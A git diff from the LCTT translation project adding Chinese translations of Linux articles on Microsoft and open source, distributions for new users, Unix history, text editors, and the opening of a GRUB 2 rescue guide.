+总结一下,不管你是不是一个疯狂的coder,能有一些额外的Vim功能在手总是非常方便的。像我在简介里说到的,如果你不需要,你不用安装这里所有的这些插件。或者你想要安装另外的也行,这些其实只是一个基础入门级的插件。 + +你在用Vim的什么插件?或者你想完善这个前10列表么?请在评论里告诉我们吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/06/turn-vim-full-fledged-ide.html + +译者:[love\_daisy\_love](https://github.com/CNprober) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.vim.org/scripts/script.php?script_id=213 +[2]:http://eclim.org/ +[3]:https://github.com/tpope/vim-pathogen +[4]:https://www.flickr.com/photos/xmodulo/14332189422/ +[5]:https://github.com/ervandew/supertab +[6]:https://github.com/scrooloose/syntastic +[7]:https://github.com/jiangmiao/auto-pairs +[8]:https://github.com/scrooloose/nerdcommenter +[9]:https://github.com/garbas/vim-snipmate +[10]:https://github.com/scrooloose/nerdtree +[11]:http://www.vim.org/scripts/script.php?script_id=159 +[12]:http://www.vim.org/scripts/script.php?script_id=273 +[13]:https://github.com/mbbill/undotree +[14]:http://vim.sourceforge.net/scripts/script.php?script_id=4104 \ No newline at end of file diff --git a/published/201407/20140609 Has Microsoft really changed its attitude toward open source.md b/published/201407/20140609 Has Microsoft really changed its attitude toward open source.md new file mode 100644 index 0000000000..4cc490ad1c --- /dev/null +++ b/published/201407/20140609 Has Microsoft really changed its attitude toward open source.md @@ -0,0 +1,81 @@ +微软真的改变对开源软件的态度了吗? +================================================================================ +> **在今天的开源软件摘要中:微软或许没有对开源软件有一个新的态度,就像安卓和windows的对抗,Cinnamon和Unity在Ubuntu14.04的对抗。** + +微软因为以前对开源软件的态度而臭名昭著,但是公司改建后对开源软件发出了积极的信号。CNet报道了微软对开源软件认知的行为的改变。 + +> [CNet][1]消息: +> 虽然微软资助开源软件有一些时间了,并且那些曾经反对开源软件的领导者们已经退出了或者不在位了。开源软件现在用在遍布全世界的公司当中,但这些与微软帝国无关。 +> 一些新的想法反映了企业顶层的一些变化,今年二月初Satya Nadella代替鲍尔默成为了微软CEO,Nadella已经给微软带来了一些新的东西改变了微软以前的一些束缚。 +> +> [更多报道][2] +> +> ![](http://www.itworld.com/sites/default/files/microsoft-open-source-communist_1.jpg) +> +> 微软和开源社区 +> Image credit: [Curako's Blog][3] + +我是一个持悲观态度的人,但是我认为微软和开源软件之间的信任关系是有待确定的。一个新的CEO和些许改变或许会改变微软在开源世界中的存在状态,但是对于微软这么大的企业来说改变并不容易,所以对于开源的世界来说微软是否真的改变还有待确定。 + +我也从来不会忘记微软用“欢迎,扩大,压死”的策略来打翻其他的竞争软件,光这一条凡是微软参合的开源项目就必须瞪大眼睛,或许这家公司真的改了,但如果没有呢!我们还是用几年时间来观察下吧。 + +### 安卓对抗windows ### + +ZDNet曾经报道过使用数量最多的Linux发行版本,不过现在桌面环境仍然是windows的天下,但是安卓今年很可能会是用户数量最大的用户终端操作系统。 + +> [ZDNet][4]报道: +> +> 如果桌面和平板依旧像预期增长的销量,安卓平板渐渐蚕食苹果的市场,PC市场继续萎缩,安卓在2014年末很有可能成为终端用户数量最多的操作系统,而且不算安卓PC。 +> +> 总而言之,安卓几乎统治了Linux终端用户。你可能不会想把它作为桌面使用,尽管Intel和AMD努力在让它变成现实,但是安卓正在变成使用量第一的终端操作系统。 + +> +> [更多消息][4] +> +> ![](http://www.itworld.com/sites/default/files/android-devices-versus-windows-pcs.jpg) +> Image credit: [ZDNet][4] + +上面提到的并不算真的惊喜,移动终端的革命发展了接近10年了。桌面依然还像原来那样重要,微软也确实没有真正的在乎过移动设备。即使现在,微软在艰难的推他的手机和平板,他仍旧认为移动终端市场并不重要。 + +谷歌严重的破坏了微软在移动领域的努力,而现在他在桌面市场又对微软发起了挑战。从chrome OS到安卓,谷歌给微软一连串的打击,如果你查看下Amazon最受欢迎的[台式机][5]和[笔记本][6]的话,你会看到很多chrome OS的电脑甚至是装有安卓的PC。所以人们的购买需求在变得多样化,并不局限在windows一家了。 + +### Cinnamon和Unity在Ubuntu14.04上的对抗 ### + +Tech Republic发表了一篇文章介绍了如何在Ubuntu14.04上安装Cinnamon,研究了一下Ubuntu14.04上用Cinnamon替换unity的可行性。 + +> [Tech Republic][7]报道: +> +> 如果你寻求性能为主不需要其他有特色的可自定义的桌面,Cinnamon适合你。Cinnamon是一个直观简洁的桌面,任何人都可以使用,不论你是IT工作者还是你的老妈妈。它非常的简单易用。Cinnamon很平淡,不会和你开什么玩笑,也不会让你感到有惊奇的感觉,但这就是它所注重的。它只会给桌面带来在标准层面上带来实用性,它不求突破,不耍花招,不加条条框框。 +> +> Cinnamon是一个很平凡的桌面,它只集成了最好的功能并且把它们集成到一起,完美整合到一块。如果你可以用一个看起来和用起来都点老掉牙,但是性能很好的桌面的话,Cinnamon完全适合你。如果你喜欢各种花哨的界面和看起来很现代的感觉,Cinnamon可能就不适合你了。 + +> [ 更多消息][7] +> +> ![](http://www.itworld.com/sites/default/files/cinnamon-versus-unity-in-ubuntu-1404.jpg) +> +> Image credit: [Tech Republic][7] + +我是站在Cinnamon这边的,Unity有自己的长处,但是我从来没用习惯过。Cinnamon更接近传统桌面,我用起来不错! + +但是在别人眼里,漂亮的桌面总是很受欢迎。Linux最大的特色就是提供很多很多不同的选择,如果你真不知道Unity和Cinnamon该选择谁,你就用自己最喜欢的就行了。 + +你赞成那些呢?请在下方留下你的评论吧 + +作者的观点和ITworld无关! + + +-------------------------------------------------------------------------------- + +via: http://www.itworld.com/open-source/421894/has-microsoft-really-changed-its-attitude-toward-open-source + +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.cnet.com/news/dead-and-buried-microsofts-holy-war-on-open-source-software/ +[2]:http://www.cnet.com/news/dead-and-buried-microsofts-holy-war-on-open-source-software/ +[3]:http://curako.wordpress.com/2010/12/06/the-uneasy-alliance-free-software-vs-open-source/ +[4]:http://www.zdnet.com/the-five-most-popular-end-user-linux-distributions-7000030058/http://www.zdnet.com/the-five-most-popular-end-user-linux-distributions-7000030058/ +[5]:http://www.amazon.com/Best-Sellers-Electronics-Desktop-Computers/zgbs/electronics/565098/?_encoding=UTF8&camp=1789&creative=390957&linkCode=ur2&tag=fnh-20&linkId=REWXUPB7SQXPDSOL +[6]:http://www.amazon.com/Best-Sellers-Computers-Accessories-Laptop/zgbs/pc/565108/?_encoding=UTF8&camp=1789&creative=390957&linkCode=ur2&tag=fnh-20&linkId=POG3J2CFBHDWBAVL +[7]:http://www.techrepublic.com/article/is-cinnamon-a-worthy-replacement-for-ubuntu-unity/ diff --git a/published/201407/20140610 The Best Linux Distribution for New Users.md b/published/201407/20140610 The Best Linux Distribution for New Users.md new file mode 100644 index 0000000000..2c8d5f7819 --- /dev/null +++ b/published/201407/20140610 The Best Linux Distribution for New Users.md @@ -0,0 +1,159 @@ +适合新用户的最佳的Linux发行版 +================================================================================ +这个争论无疑给许多Linux用户带来了麻烦。争论的焦点一般不是哪个发行版是真正最适合新用户的,而是哪个发行版受这些争论者的喜爱。如果我们撇开个人喜爱,我们会看到更清楚的一面。但即使这样,明确的结论也会受到被新用户的需求和期望的影响。考虑到这点,我决定采取一个不同的方法来找出“对新用户来说最好的发行版”。我评判最好发行版的标准不仅是易用,而且还要具有由日益增长的移动界面风格所带来的现代设计理念。 + +对于这次评测,我们对发行版有如下要求: + +- 非常友好 +- 包括,开箱即用,所有常用的应用程序 +- 包括某个形式的应用程序商店 +- 提供一个时尚的用户界面 + +让我解释一下各个标准 + +### 用户友好 ### + +这是一个备受争议的话题。但事实的真相是——新用户必须能够选择某种风格的Linux并开始使用,只需要很少或不需要解释。如果必须很出太多解释,那么这个发行版便不是用户友好的。我不喜欢那些操作系统,但是几乎任何用户都可以在近乎零指导的情况下坐在Windows 7或OS X桌面前并开始使用它。这是每一个Linux桌面都应当争取去做的。 + +### 常用应用程序 ### + +安装好系统后用户不应该再去安装必需的程序。那么什么是必需的呢?每年列表都会变短。目前,必备的程序列表如下: + +- 网页浏览器:Chrome或者Firefox(对不起,根本不需要其他的浏览器) +- 电子邮件客户端:Thunderbird是显而易见的选择。 +- Office办公套件:LibreOffice。就这样。 +- 音乐播放器:播放本地文件以及连接到流媒体服务(比如Spotify)。 + +这是几乎所有用户需要的应用程序的简表。 + +### 应用程序商店 ### + +由于移动设备需求的日益增长,用户已经习惯了应用商店。Linux有应用商店很长时间了(Synaptic是最古老的一个)。没有一个经深思熟虑做的应用商店,用户将会挣扎于在Linux环境中添加软件。毫无疑问,这一点至关重要。 + +### 时尚的界面 ### + +我已经多次提到移动设备的美化。由于iOS和Android,用户越来越喜欢时尚的界面。Linux的桌面需要进行效仿并且用独特的、时尚的和易用的界面来吸引用户注意力。旧的风格在支持多触控的移动世界里不再有影响力。 + +## 排名前三的发行版 ## + +以文中的标准,哪个发行版本满足了(或超过)我们的需求?首先,让我们来审查一下前三名的候选者。以下哪个满足了(或超过)标准。 + +### Ubuntu ### + +[Ubuntu Linux][1]一直是用户友好型Linux的王者。开箱即用,寻找一个比它更迷人和易用的桌面(Unity)有点困难,甚至是对于那些对平台不熟悉的人也是这样的。它的桌面布局虽然与众不同,但却是合乎逻辑和很直观的。对于在桌面环境中添加一个最强大的搜索工具,在Linux中Ubuntu Unity应当获得最高成就。 + +### Linux Mint ### + +如果认为有一个篡夺王位的发行版,那它就是[Linux Mint][2]。Linux Mint做了更多桌面的标准方法,但是图层华丽且多变使其从老旧的桌面隐喻中脱颖而出。Linux Mint基于Ubuntu,所以它得益于“老大哥”Ubuntu的稳定性和可靠性。 + +### Linux Deepin ### + +用户友好型列表中的新成员是[Linux Deepin][3]。这个相对较新的受欢迎的发行版来自中国,而且应该正视它所带来的成就。为什么这样说?因为它使得Linux桌面转变为艺术美;同时也保持了高水平的用户友好性。我期待它的新版本发布将是个大事件。Linux Deepin使用的是GNOME 3桌面并将它重组得完全不同的,完全不可思议。 + +## 各发行版的比分 ## + +在最佳的竞争者名单中,我们来比较一下每一个标准和等级。每个发行版的比分如下:对于每个标准,发行版排名从高到底(第一名得一分,最后一名得三分)。最后,总分决定谁是冠军——最低得分获胜。 + +### 用户友好性 ### + +这可能是最严密的分类和最艰难的判别。每个发行版以不同的方法在用户友好性上都各有优势。最后,我的排名是: + +1. Linux Mint + +2. Ubuntu Linux + +3. Linux Deepin + +为什么是这样呢?Mint仅有微小的优势,因为它的开始按钮,任务栏和桌面图标仍然使用旧的桌面风格。胜者的优势很微小,Ubuntu和Linux Deepin要求的学习曲线近乎为零——甚至是对于小白们。 + +### 常用的应用程序 ### + +这一类别难以判断的唯一原因是因为每个发行版都包括所有必要的应用程序。虽然Linux Deepin目前提供的是金山Office(一个最好的移动办公套件解决方案之一),它计划在2014发行版本中默认使用LibreOffice。 + +关于常用程序的我的一个问题是音乐播放器。虽然我在线听过很多音乐(使用Spotify客户端),但当我播放本地音乐时,总是使用Clementine。他们的默认播放器是: + +- Ubuntu: Rhythmbox +- Linux Mint: Banshee +- Linux Deepen: DMusic. + +三者中,Banshee(图1)提供了最多的功能,DMusic(图2)提供了最好的界面,(令人惊讶的)Rhythmbox(图3)目前最不稳定。 + +![](http://www.linux.com/images/stories/41373/banshee.png) + +banshee + +![](http://www.linux.com/images/stories/41373/dmusic.png) + +dmusic + +![](http://www.linux.com/images/stories/41373/rhythmbox.png) + +rhythmbox + +所以,他们得分多少?如下: + +1. Linux Mint + +2. Ubuntu Linux + +3. Linux Deepin + +### 应用程序商店 ### + +如果不分析这部分将难进行。为什么呢?因为对于新用户应用商店可以轻易成就或是毁掉一个Linux发行版。总会有应用需求而且没有用户想经过命令行的重重考验。每个发行版都有自己的应用商店。 + +- Ubuntu: Ubuntu软件中心 +- Mint: 软件管理器 +- Linux Deepin: Deepin软件中心 + +应该说,这些工具中的每一个都是基于Ubuntu软件中心的。奇怪的是Ubuntu软件中心却正好排在最底。主要原因是Ubuntu软件中心太慢了——甚至在一个非常强大的机器上。 + +我将应用商店排名设为如下: + +1. Linux Deepin + +2. Linux Mint + +3. Ubuntu Linux + +每个应用商店有非常相似的功能。Linux Deepin获得第一的原因有两个:界面易于控制而且程序开启速度远远快于Ubuntu软件中心和Mint软件管理器。 + +### 时尚的界面 ### + +在这部分Linux Mint远远落后。尽管它提供了一个华美的界面和有很浅的学习曲线,但相比之下它仍然是一个非常过时的桌面。甚至在强大的硬件(有强大的显卡)上,Linux Mint仍然很容易被看成是来自90年代末的桌面。为了评判结果,我们必须看看是Ubuntu Linux还是Linux Deepin能带我们走进未来。胜者是: + +1. Linux Deepin + +2. Ubuntu Linux + +3. Linux Mint + +Linux Deepin使用GNOME 3来制作一个使用起来很漂亮的GNOME和OSX的混合体,你会认为你在处理一件互动的艺术品。 + +## 总冠军 ## + +虽然这是很初步的,对新用户来说最好的Linux发行版顺序应该是: + +1. Linux Mint的总得分是7 + +2. Linux Deepin的总得分是8 + +3. Ubuntu Linux的总得分是9 + +如果你想知道关于这篇文章的作者观点,要知道:我已经使用Ubuntu Linux很多年了(而且仍在用)。我最近一直在说“如果有一个Linux发行版能动摇我使用Ubuntu的想法,它便是Linux Deepin。”虽然我很欣赏Linux Mint,但我只是用它来进行测试。当说到对新用户最好的Linux发行版,Linux Mint是显而易见的赢家。 + +这件事真正的真相是——你在使用这些桌面中任何一个都不会错。他们都各有所长。如果你追求真正的美丽,使用Linux Deepin吧。如果你想要漂亮外观与易用结合,那就使用Ubuntu Linux。如果你只想要简单而且并不在乎漂亮的外观,那就用Linux Mint。不管你选哪一个,这都是三赢的局面。 + +你怎么认为?你会如何排这三个桌面的名次?或者,你是否会写一个不同的Linux发行版,该发行版在外表上来说对新用户最好的?(还有原因是什么?) + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/software/applications/775873-the-best-linux-distribution-for-new-users/ + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ubuntu.com/ +[2]:http://www.linuxmint.com/ +[3]:http://www.linuxdeepin.com/index.en.html \ No newline at end of file diff --git a/published/201407/20140611 HTG Explains--What is Unix and Why Does It Matter.md b/published/201407/20140611 HTG Explains--What is Unix and Why Does It Matter.md new file mode 100644 index 0000000000..086568b98b --- /dev/null +++ b/published/201407/20140611 HTG Explains--What is Unix and Why Does It Matter.md @@ -0,0 +1,74 @@ +什么是Unix以及它为什么这么重要? +================================================================================ +![](http://cdn.howtogeek.com/wp-content/uploads/2014/02/ken-thompson-and-dennis-richie-at-pdp-11.jpg) + +大多数操作系统可以被划分到两个不同的家族。除了微软的基于Windows NT的操作系统外,几乎所有其他的都可以追溯到Unix。 + +Linux,Mac OS X,Android,iOS,Chrome OS,PlayStaion 4上运行的Orbis OS,运行在路由器上的各种固件,所有这些操作系统通常都被称为“类Unix”操作系统。 + +### Unix的设计现在都还在应用 ### + +Unix在20世纪60年代中晚期诞生于AT&T的贝尔实验室中。最初发布的Unix中的一些重要设计因素到如今都还在使用。 + +其中一个设计是“Unix哲学”,建立小的模块化的应用,只做一件事情并把它做好。如果你对Linux终端很熟悉的话,应该对这个不陌生-系统提供了大量的应用,可以通过[管道或其他特性][1]形成不同的组合来完成更复杂的任务。甚至图形界面程序也经常会在后台调用更简单的应用去做比较耗时的任务。这种模式也让[建立终端脚本][2]更为简单,通过文本把一些简单工具结合起来去做复杂的事情。 + +Unix还设计了一个单一的文件系统,程序可以通过它互相通讯。这也是[为什么在Linux里说“一切都是文件”][3]-包括硬件设备文件,和提供系统信息及其他数据的特殊文件。这也是为什么只有Windows系统中才有磁盘盘符,这是从DOS继承过来的-在其他操作系统中,所有文件都是一个单一目录结构中的一部分。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/02/unix-bell-labs.jpg) + +### 那些从Unix派生出的系统 ### + +类似任何可以往前追溯40年的历史,Unix的历史和它的派生系统一片混乱。为了简单,我们把Unix的派生系统大致分成两组。 + +一组Unix派生系统是学术界开发的。 + +首先是BSD(伯克利软件发布版),一个开源的类Unix操作系统。BSD如今还存在于FreeBSD,NetBSD和OpenBSD等系统中。NeXTStep基于最初版的BSD开发,苹果的Mac OS X基于NeXTStep,iOS基于Mac OS X。许多其他操作系统,包括运行在PlayStation 4上的Orbis OS,也源于各种BSD操作系统。 + +Richard Stallman建立GNU项目的目的是为了反对AT&T的Unix软件协议条款日渐严格的限制。MINIX是一个类Unix操作系统,为教育目的而实现的,而Linux则是受到了MINIX的启发。[我们今天所熟悉的Linux其实应该叫GNU/Linux][4],因为它是由Linux内核和大量GNU应用组成的。GNU/Linux不是直接从BSD继承下来的,但是它继承了Unix的设计而且根植于学术界。如今许多操作系统,包括Android,Chrome OS,Steam OS,以及数量巨大的在各种设备上使用的嵌入式操作系统,都基于Linux。 + +另一组是商用的Unix操作系统。AT&T UNIX,SCO UnixWare,Sun Microsystem Solaris,HP-UX,IBM AIX,SGI IRIX-许多大型企业都希望建立并授权自己版本的Unix。它们如今并不常见,但其中一些仍然存在。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/02/history-of-unix.png) + +图片致谢: [Wikimedia Commons][5] + +### DOS和Windows NT的崛起 ### + +许多人希望Unix能够成为工业标准操作系统,但是DOS和“IBM PC兼容”计算机却最终人气爆发而普及开来。微软的DOS也成为众多DOS系统中最成功的一个。DOS完全没有参照Unix,这也是[为什么Windows使用反斜杠划分文件路径,而其他所有系统都使用正斜杠][6]。这个决定是在早期的DOS系统中做出的,而之后的Windows版本继承了这一设定,就像BSD,Linux,Mac OS X,和其他类Unix操作系统继承了许多Unix设计因素一样。 + +Windows 3.1,Windows 95,Windows 98,和 Windows ME都是建立在DOS的基础上。当时微软已经在开发一个更现代更稳定的操作系统,叫做Windows NT-意思是“Windows新技术”。Windows NT最终通过Windows XP应用到普通计算机用户中,但是之前它都只用于针对企业用户的Windows 2000和Windows NT。 + +如今所有微软的操作系统都基于Windows NT内核。Windows 7,Windows 8,Windows RT,Windows Phone 8,Windows Server,以及Xbox One上的操作系统都在使用Windows NT内核。不像其他大多数操作系统那样,Windows NT没有被开发成一个类Unix操作系统。 + +当然,微软也不是完全从零开始的。为了维护DOS和旧版本Windows软件的兼容性,Windows NT继承了许多DOS里的设定,比如磁盘盘符,反斜杠区分文件路径,正斜杠作为命令行参数开关。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/02/windows-2000-professional-built-on-nt-technology.jpg) + +### 为什么它影响很大 ### + +不知道你有没有看过Mac OS X终端或是文件系统,有没有注意到它们和Linux是如此相似,而又和Windows是如此不同?好吧,原因是-Mac OS X和Linux两个都是类Unix操作系统。 + +了解了这点历史,就可以帮助你理解什么是“类Unix”操作系统,以及为什么这么多操作系统看起来都差不多,而Windows却那么与众不同。这也可以解释为什么Linux极客对Mac OS X上的终端会感觉如此熟悉,而[Windows 7上的Command Prompt和PowerShell][7]相对于其他命令行环境显得格格不入。 + +这只是一点快速掠过的历史,帮助了解是如何发展到今天的,而不用陷入到细节中。如果你想了解更多,可以找到许多关于Unix历史的整本的书籍。 + +图片致谢: [Peter Hamer on Flickr][8], [Takuya Oikawa on Flickr][9], [CJ Sorg on Flickr][10] + +-------------------------------------------------------------------------------- + +via: http://www.howtogeek.com/182649/htg-explains-what-is-unix/ + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.howtogeek.com/110150/become-a-linux-terminal-power-user-with-these-8-tricks/ +[2]:http://www.howtogeek.com/107217/how-to-manage-processes-from-the-linux-terminal-10-commands-you-need-to-know/ +[3]:http://www.howtogeek.com/117939/htg-explains-what-everything-is-a-file-means-on-linux/ +[4]:http://www.howtogeek.com/139287/the-great-debate-is-it-linux-or-gnulinux/ +[5]:http://en.wikipedia.org/wiki/File:Unix_history.svg +[6]:http://www.howtogeek.com/181774/why-windows-uses-backslashes-and-everything-else-uses-forward-slashes/ +[7]:http://www.howtogeek.com/163127/how-powershell-differs-from-the-windows-command-prompt/ +[8]:http://www.flickr.com/photos/peter-hamer/2876612463/ +[9]:http://www.flickr.com/photos/takuyaoikawa/2060554607/ +[10]:http://www.flickr.com/photos/cjsorg/2726088549/ diff --git a/published/201407/20140612 What is a good text editor on Linux.md b/published/201407/20140612 What is a good text editor on Linux.md new file mode 100644 index 0000000000..4a987268e3 --- /dev/null +++ b/published/201407/20140612 What is a good text editor on Linux.md @@ -0,0 +1,84 @@ +优秀的Linux文本编辑器 +================================================================================ + +想要挑起狂热Linux爱好者之间的激烈争辩吗?那就问问他们最喜欢的文本编辑器是什么吧。在开源社区中,选择一个用来写文本,或者更进一步,用来写代码的编辑器,比选择一个球队或者游戏控制器还要重要。但是任何一个Linux新手都不该为过多的建议和各种各样的煽动而感到焦虑不安,取而代之,先去试着熟悉熟悉一堆不同的文本编辑器吧。所以今天我将要给你建议一个简单主题的列表,里面的编辑器都可以在Linux下编辑文本。这个列表不包括那些成熟的只用来编程的IDE,也不包括那些专门进行LaTex排版的编辑器。如果你对后者感兴趣,我可以建议你去看看[这里][1]. + +### 1. Vim & Emacs ### + +![](https://farm3.staticflickr.com/2936/14371977196_1a4522359b_z.jpg) + +让我们直接从这两个“大咖”开始。当有人在一个聊天室里问关于Linux下的编辑器时,会有一个人立马回答[Vim][2],然后会有另外一个说[Emacs][3]。(LCTT译注:这就是V党和E党啊~)之所以会这样,理由很充分。这两个都是非常强大的编辑器,有很多的特性,很多插件,很强大的社区支持。如果你一点都不熟悉它们的话,要描述清楚它们强大的功能是有点困难。但是简单来讲,它们允许你在文本中快速移动,简单地做出大量的修改,记录宏以及你能想到基本上任何疯狂的编辑方式。这两个编辑器共同的缺点是,不可避免地花时间去学习。讲完这点之后,我不会陷入到哪一个更好的争论中去,但是我真的想建议每一个人至少学习这两者之一。 + +![](https://farm4.staticflickr.com/3916/14393718612_a880b86a52_z.jpg) + +### 2. Sublime Text & Lime & Atom ### + +![](https://farm3.staticflickr.com/2917/14391734181_0f0ec76e4f_z.jpg) + +一款叫做[Sublime Text][4]的文本编辑器在过去几年逐渐兴起。一些人可能会将它视为Vim或者Emacs的友好版,专为编程而设计的。事实上,它保持了一些与Vim和Emacs的相似特性。比如,批量编辑和函数跳转都会让人或多或少想起Emacs或者[一个充满活力的Vim][5]。然而,它保留了更多的可视性并且更加容易使用。同样,大量的插件吸引大家进行个性化定制。(LCTT译注:实际上,译者认为Sublime Text与其说是像Vim或Emacs,不如说更像是Mac上的编辑器神器textmate。另外,Sublime Text的发展最近已经陷入停滞了。) + +Sublime Text唯一的“污点”是它的许可证:如果你只使用开源软件的话,你可以放弃它了。(LCTT译注:但是Sublime Text可以全功能一直试用下去,没有一点区别,只是如果你觉得应该支持的话,付费比较好,虽然挺贵。)为此,最近出现了一个雄心勃勃的克隆版 [Lime][6] 。这个软件正处在重度开发当中,但是它的理念是:跟Sublime Text相似的用户体验,但是带着开源的韵味。对于Lime,除了满满的期待没有更多要说的了。 + +距现在更近的,GitHub以开源形式发布了[Atom][7],展开了与Sublime Text正式的竞争。Atom打包了所有你想要的文件跳转,代码片段使用等特性,提供一个完整特性的编辑器而不是简单的编辑框。使用HTML,CSS和集成Node.js环境,可以轻易地定制文本处理过程,这正是它的魅力所在。这其实已经要涉及到IDE的定义了,我们的列表最多会覆盖到这里。(LCTT译注:好吧,我觉得从Sublime Text转移出来的最佳出口就是Atom。) + +![](https://farm4.staticflickr.com/3907/14395083745_469b7e49c9_z.jpg) + +### 3. Gedit & Kate & Mousepad & Leafpad ### + +![](https://farm3.staticflickr.com/2927/14371977076_c95a557233_z.jpg) + +如果不谈这些超级厉害的神器,我们可以转向我认为的“桌面环境经典版”编辑器。这些编辑器感觉上更加的传统,有些也可以用插件进行强化,但是它们的重点是输入简单。如果你头脑里有一些想法想要在忘记之前赶快记下来(我必须怪罪那些视频游戏让我的注意力变得短暂)。你不需要学习Vim或者Sublime Text的快捷键。你只需要一些空白的地方进行输入。这类编辑器的好处是它们或多或少的和你的桌面环境集成在一起。在这一类编辑器中,Gnome 下的 [Gedit][8] 和 KDE下的 [Kate][9] 都很好的集成在桌面系统中,可以通过插件进行个性化定制。比如,更容易的进行LaTeX排版。[Mousepad][10] 和 [Leafpad][11] 更适合于轻量级的桌面,比如Xfce和LXDE。它们在某种程度上很像Windows的记事本。所以,如果你需要的是灵活和便捷,请选择它们。 + +![](https://c2.staticflickr.com/6/5522/14415259703_d3885b3952_z.jpg) + +### 4. Nano & Qute ### + +![](https://farm3.staticflickr.com/2938/14208641327_49fc7286ba_z.jpg) + +另外一个流行的文本编辑器“大家族”是“无打扰编辑器”。如果你喜欢在后台持续地开着Facebook或者Twitter,或者每5分钟就收一次邮件,你就会知道把注意力集中在那篇明天要交的散文,或者这些还没编译通过的代码是多么困难的事。如果是这样,你需要一个编辑器,它可以占满整个屏幕空间,并且屏蔽掉所有的其它事情。 + +也许这类编辑器里面最不受欢迎的是Nano。如果你想屏蔽所有分心的事,关掉X server(LCTT译注:关掉桌面,只用文字终端界面,Nano就是工作在这种模式下。实际上这时nano就是接管了X Server的工作。)。这是最简单和直接的方式。事实上,《权力游戏(Game of Thrones)》的作者Geogge R. R. Martin最近就在[一次采访][13]中说他使用一个类似DOS Word的文本处理程序写他的小说。 + +如果你想要一款更顺眼一点的编辑器,你可以试试我的最爱:[Qute][14]。没有酷炫的特性,也许有一点LaTeX排版使它开起来更美观,但是重点其实是在它的界面的。它提供了一个舒适的导航和编辑体验。如果你对终端感觉不太舒服,Qute是个不错的选择。 + + +![](https://farm3.staticflickr.com/2927/14395083485_7f8f0d6d59_z.jpg) + +### 5. LibreOffice & Calligra & Abiword ### + +![](https://farm4.staticflickr.com/3845/14395083565_b07b33abf0_z.jpg) + +最后,办公套件也是文本编辑器。我不确定你能否轻松使用办公套件编程,但是它确实更适合纯文本编辑,也比LaTeX更容易学习。在这类编辑器中,[LibreOffice][15] 和 [Calligra][16] 不能避而不谈。这两个编辑器因为它们丰富的特性和响亮的名声成为这类编辑器中的巨兽。这两者我都喜欢,但是很多人明确的偏向于前者。如果你怀念微软的Word处理软件,你会有自己的选择。稍处下风的[Abiword][17]相对前面的两个是一个轻量级的选择。如果你的目的只是编辑一个文本文档,不关心电子表格或者数据库,Abiword的特性可以达到理想的效果。 + +![](https://farm3.staticflickr.com/2915/14371976966_4d252928ec_z.jpg) + +简单总结一下,如果我仅有一条建议给你,那么就是选择你周围的人正在使用的编辑器。如果因为某些疯狂的理由,每一个你周围的人都用LibreOffice写C程序,或者用Sublime Text写小说,而你也要做同样的事,你应该跟随潮流。原因就是当你遇到一个问题需要帮助的时候,他们可以更容易的给你提供帮助。 + +你最喜欢的文本编辑器是什么?你都用它来做什么?请在评论中和我们分享吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/06/good-text-editor-linux.html + +译者:[love\_daisy\_love](https://github.com/CNprober) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2014/04/latex-editor-software-linux.html +[2]:http://www.vim.org/ +[3]:https://www.gnu.org/software/emacs/ +[4]:http://www.sublimetext.com/ +[5]:http://xmodulo.com/2014/06/turn-vim-full-fledged-ide.html +[6]:http://limetext.org/ +[7]:https://atom.io/ +[8]:https://wiki.gnome.org/Apps/Gedit +[9]:http://kate-editor.org/ +[10]:http://www.home.unix-ag.org/bmeurer/xfce/apps.html +[11]:http://tarot.freeshell.org/leafpad/ +[12]:https://www.flickr.com/photos/xmodulo/14415259703/ +[13]:https://www.youtube.com/watch?v=X5REM-3nWHg +[14]:http://www.inkcode.net/qute +[15]:https://www.libreoffice.org/ +[16]:http://www.calligra-suite.org/ +[17]:http://www.abisource.com/ + diff --git a/published/201407/20140616 How to Rescue a Non-booting GRUB 2 on Linux.md b/published/201407/20140616 How to Rescue a Non-booting GRUB 2 on Linux.md new file mode 100644 index 0000000000..52c6df035e --- /dev/null +++ b/published/201407/20140616 How to Rescue a Non-booting GRUB 2 on Linux.md @@ -0,0 +1,127 @@ +如何拯救一台GRUB 2启动失败的Linux电脑 +================================================================================ +![Figure 1: GRUB 2 menu with cool Apollo 17 background.](http://www.linux.com/images/stories/41373/grub-command-shell.jpg) + +旧版GRUB我们使用了一段时间了,这个重要的Linux通用引导器的版本已经到了0.97。尽管旧版GRUB有很多的优点,但是它已经有点陈旧了,并且它的开发者也希望添加更多的功能,于是,GRUB 2 时代就要来了。 + +GRUB 2 做了几个明显的改进。它可以从移动存储设备上启动,并且可以通过配置一个选项来进入系统BIOS。相对于将所有的配置都放到一个配置文件`/boot/grub/menu.lst`中 (现在默认是`/boot/grub/grub.cfg `),使用各种脚本来配置会更复杂。你不要直接编辑这个文件,那不是人干的事,太复杂了,我们需要使用其它的脚本来改变。我们卑微的人类可以编辑修改`/etc/default/grub`文件,它主要是控制Grub菜单的外观。我们还可以修改` /etc/grub.d/ `下的脚本,这些脚本用于启动操作系统、控制外部应用程序,如memtest 、os_prober和theming等等 。`./boot/grub/grub.cfg`是由`/etc/default/grub`和`/etc/grub.d/*`生成的。当你修改了某个地方,你必须要运行update-grub命令来生成它。 + 